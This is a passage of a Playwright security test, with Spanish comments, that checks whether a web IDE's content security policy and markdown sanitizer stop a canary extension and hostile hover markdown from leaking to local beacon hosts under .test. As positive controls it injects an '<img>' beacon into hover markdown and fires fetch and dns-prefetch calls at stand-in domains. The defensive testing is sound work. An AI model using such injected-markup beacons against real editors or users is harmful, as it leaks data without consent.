| 316 | // ── controles positivos en esta misma sesión ── |
| 317 | // 2. el markdown hostil SIN sanitize.js sí pinta una imagen y llega a la baliza |
| 318 | await open('canary.js'); |
| 319 | await page.evaluate(() => { |
| 320 | window.monaco.languages.registerHoverProvider('javascript', { provideHover: () => ({ contents: [{ value: ' <img src="http://bypass2.beacon.test/c.png">', isTrusted: true, supportHtml: true }] }) }); |
| 321 | const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 1, column: 3 }); e.focus(); e.trigger('t', 'editor.action.showHover', {}); |
| 322 | }); |
| 323 | const bypass = await until(() => (beacon.leaks().some(h => /bypass/.test(h.host)) ? beacon.leaks().filter(h => /bypass/.test(h.host)) : null), { timeout: 15000 }); |
| 324 | const bypassImg = await page.evaluate(() => [...document.querySelectorAll('.monaco-hover img')].some(i => /bypass/.test(i.src))); |
| 325 | ok('control 2: sin sanitize.js el mismo markdown SÍ pinta <img> y llega a la baliza', !!bypass && bypassImg, JSON.stringify(bypass)); |
| 326 | // 3. una resolución de *.test pedida por la página (sin X-DNS-Prefetch-Control) sale en el NetLog |
| 327 | await page.evaluate(() => { |
| 328 | const l = document.createElement('link'); l.rel = 'dns-prefetch'; l.href = '//prefetch-control.test'; document.head.appendChild(l); |
| 329 | return fetch('http://netlog-control.test/', { mode: 'no-cors' }).catch(() => {}); |
| 330 | }); |
| 331 | await sleep(1500); |
| 332 | ok('control 5: hubo mensajes de violación de CSP (los intentos se bloquearon, no se perdieron)', cspMessages.length > 0, String(cspMessages.length)); |
| 333 | const realErrors = errors.filter(e => !/beacon\.test|Elffuss Code does not let extensions|violat|importScripts/i.test(String(e))); |
| 334 | ok('sin errores de página fuera de lo provocado', realErrors.length === 0, JSON.stringify(realErrors.slice(0, 4))); |
| 335 | await browser.close(); |
| 336 | |
| 337 | // ── NetLog: ninguna resolución de *.test salvo los controles y la fase B ── |
| 338 | let netlog = ''; |
| 339 | try { netlog = fs.readFileSync(NETLOG, 'utf8'); } catch { /* — */ } |
| 340 | if (!process.env.X2_KEEP_NETLOG) fs.rmSync(NETLOG, { force: true }); else console.log(' NetLog kept at ' + NETLOG); |
| 341 | const names = [...new Set((netlog.match(/[a-z0-9-]+(?:\.[a-z0-9-]+)*\.test\b/gi) || []).map(s => s.toLowerCase()))]; |
| 342 | // («beacon.test» a secas es el sitio de la pestaña de la fase B en su clave de aislamiento, no una resolución) |
| 343 | const expected = new Set(['phaseb.beacon.test', 'beacon.test', 'bypass.beacon.test', 'bypass2.beacon.test', 'netlog-control.test', 'prefetch-control.test']); |
| 344 | const unexpected = names.filter(n => !expected.has(n)); |
| 345 | ok('control 3: el NetLog SÍ ve la resolución que pidió la página (netlog-control.test)', names.includes('netlog-control.test'), names.join(' ')); |
| 346 | ok('control 6: el NetLog SÍ ve las resoluciones del bucle local', /"localhost"|localhost:/.test(netlog)); |
| 347 | const where = n => { const i = netlog.toLowerCase().indexOf(n); return netlog.slice(Math.max(0, i - 80), i + n.length + 40).replace(/\s+/g, ' '); }; |
| 348 | ok('NetLog: ninguna resolución de los nombres del canario ni del simulacro', netlog.length > 0 && unexpected.length === 0, unexpected.slice(0, 4).map(n => n + ' ← ' + where(n)).join(' | ')); |
| 349 | console.log(` (dns-prefetch del control en el NetLog: ${names.includes('prefetch-control.test') ? 'sí' : 'no, el navegador sin cabeza no lo hace'})`); |
| 350 | |
| 351 | // ── control 1: sin la CSP del host de extensiones, el canario SÍ sale ── |
| 352 | { |
| 353 | const open2 = await startServer({ insecure: 'exthost' }); |
| 354 | const b2 = await chromium.launch({ args: [`--host-resolver-rules=${beacon.resolverRules}`] }); |
| 355 | const c2 = await b2.newContext(); |
| 356 | await c2.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } }); |
| 357 | const p2 = await c2.newPage(); |
| 358 | await p2.goto(open2.codeOrigin + '/', { waitUntil: 'domcontentloaded' }); |
| 359 | await p2.evaluate(async () => { const o = await navigator.storage.getDirectory(); const f = await o.getFileHandle('a.js', { create: true }); const s = await f.createWritable(); await s.write('x\n'); await s.close(); }); |
| 360 | await seed(p2, [CANARY_FULL]); |
| 361 | await p2.goto(open2.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' }); |
| 362 | await p2.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 }); |
| 363 | await p2.evaluate(async () => { await (await import('/js/ide.js')).openFile('a.js'); }); |
| 364 | await until(() => p2.evaluate(async () => (await import('/js/ext2/bridge.js')).state().extensions.some(e => e.state === 'active')), { timeout: 60000 }); |
| 365 | const before = beacon.leaks().length; |
| 366 | await p2.evaluate(([cp, sp]) => { window.__r = import('/js/ext2/bridge.js').then(b => b.runCommand('canary.run', [cp, sp])); }, [open2.port, new URL(open2.sandboxOrigin).port]); |
| 367 | if (await until(() => p2.evaluate(() => !!document.querySelector('#x2-open')), { timeout: 30000 })) await p2.keyboard.press('Escape'); |
| 368 | const rep2 = JSON.parse(await p2.evaluate(() => window.__r) || '[]'); |
| 369 | await sleep(1500); |
| 370 | ok('control 1: sin la CSP del host de extensiones, el mismo canario SÍ llega a la baliza', beacon.leaks().length > before && rep2.some(r => r.channel === 'fetch-http' && r.outcome === 'ALLOWED'), `hits ${beacon.leaks().length - before}`); |
| 371 | await b2.close(); |
| 372 | await open2.close(); |
| 373 | } |
| 374 | |
| 375 | await beacon.close(); |
| 376 | await srv.close(); |
| 377 | console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed'); |
| 378 | process.exit(fails ? 1 : 0); |